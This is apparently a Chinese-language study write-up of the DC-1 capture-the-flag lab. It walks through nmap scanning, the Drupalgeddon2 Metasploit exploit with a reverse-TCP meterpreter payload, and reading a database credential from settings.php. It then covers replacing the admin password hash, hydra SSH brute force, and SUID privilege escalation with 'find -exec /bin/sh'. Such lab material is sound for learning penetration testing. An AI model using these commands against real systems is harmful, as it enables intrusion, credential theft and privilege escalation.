文章目录
- 前言
- 一、环境准备
- 1.攻击者:kali
- 2.靶机:DC-1
- 3.使用到的工具
- 二、实验步骤
- 1、信息收集、主机、端口探测
- 2、网站信息收集,cms、web服务器、后台编程语言、操作系统等
- 3、漏洞利用,获取shell
- 4、数据库渗透,破解管理员admin密码
- 5、登录web后台管理网页
- 6、ssh爆破登录
- 7、提权root
- 总结
前言
记录学习中。。。
一、环境准备
Vmware workstation
靶机和攻击机放到同一虚拟网卡中。
1.攻击者:kali
这个就不介绍了。。。
2.靶机:DC-1
主要安全隐患:使用存在安全漏洞的cms:drupal,使用默认80端口开启了后台管理界面。
开启ssh服务,suid权限分配不合理。。。
3.使用到的工具
nmap:信息收集
wappalyzer: 网站信息检测
msfconsole:漏洞利用、渗透攻击。
hydra:暴力破解
二、实验步骤
1、信息收集、主机、端口探测
获取DC-1的IP:192.168.183.140
端口扫描:开启了ssh服务和http服务,也扫描出一些二级目录。
2、网站信息收集,cms、web服务器、后台编程语言、操作系统等
访问目标开放的web端口,发现cms是Drupal7。Drupal是开源的网站内容管理系统,已有漏洞。
3、漏洞利用,获取shell
使用kali自带的msf进行漏洞利用。
命令search drupal 7.x 查看7版本的漏洞利用模块
1.调用漏洞模块:use exploit/unix/webapp/drupal_drupalgeddon2
2.载入攻击模块:set payload php/meterpreter/reverse_tcp,使用TCP反弹链接
3.设置攻击对象:set RHOSTS 192.168.183.140
4.开始攻击:exploit
成功进入目标系统
利用python调出交互式shell界面,更加直观。
查看var/www/目录下文件,获取flag1,查看flag1.txt,提示配置文件。
寻找配置文件,查看web.config,暂时没有可用信息。
一番查看后在sites\default\settings.php中获取flag2 。
意外收获,获取疑似数据库信息。dbuser:R0ck3t
4、数据库渗透,破解管理员admin密码
查看到数据库服务已开启。
尝试链接到数据库,成功链接。
进入数据库,查看一番。
information_schema是mysql的原生数据库,查看drupaldb,发现users表,并在表中发现admin用户信息。
显然若破解admin密码,就能登录web后台管理网页了。
破解密码的方式:1.爆破 2.替换密码加密内容 爆破太慢了,想办法替换。
一番收索后了解到drupal加密数据库密码的脚本就放在/var/www下。
好家伙,退出数据库,去/var/www。找到了password-hash.sh。
我们现在是已经进入到shell了对吧,那不就可以直接执行password-hash.sh生成一段hash密文了嘛。
怎么执行呢?
还记得第一步信息收集到的网站信息吗 后端用的是php。嗯,php牛🍺。
生成hash密文,替换到数据库中。
5、登录web后台管理网页
利用上一步破解到的admin账户登录web后台管理网页。获取flag3
到此,思路就断了,因为flag3啥提示也没有。
但是,我知道怎么继续下去,其实在获取shell时我就知道flag4在哪了🤣。当然是为了文章顺序才在此处提到。
渗透时有个思路:获取shell后,这三个文件必查看。
/etc/passwd、/etc/group、/etc/shadow,当然shadow文件一般只有root能看。因为里面存放的是用户密码信息。好,继续。
6、ssh爆破登录
在/etc/passwd 中发现flag4,它是个用户,还有登录权限。为啥能登录?因为/bin/bash,此处不多说了。
好,既然flag4是用户,那flag4大概率在其家目录中。果不其然。
直接cat flag4.txt,竟然能查看,还以为只有flag4用户有权限查看🤣,提示用同样的方法获取root目录下的flag。
到此falg4已经获取到了!
但是,flag4是可以登录的,那就尝试一下破解它的密码。怎么利用呢,还记得用nmap扫描目标时发现其开启了ssh服务吗?这时就可以登录ssh了,当然有的小伙伴可能在想前面获取得admin用户,dbuser用户能不能登录ssh? 好吧,不行。因为这两个用户时mysql用户而非系统用户。
破解flag4的密码。这时可以使用爆破大哥hydra破解密码。用户名已经知道了,只需编写密码字典即可。
成功获取flag4的密码,登录。
7、提权root
提权就简单了,直接找有root权限的命令字:find / -perm -4000 2>/dev/null
find 命令就有root权限,而fand可以拼接命令。
通过find /bin -exec “/bin/sh” \; 提权。
获取final flag
总结
肝到这已经没多余力气说啥了😭,文中案例是在人家已经设计好的模式下渗透,长此以往,可能形成固定思维,当碰到变化时可能会蒙,所以记得多加思考,琢磨尝试多种不同的方法思路。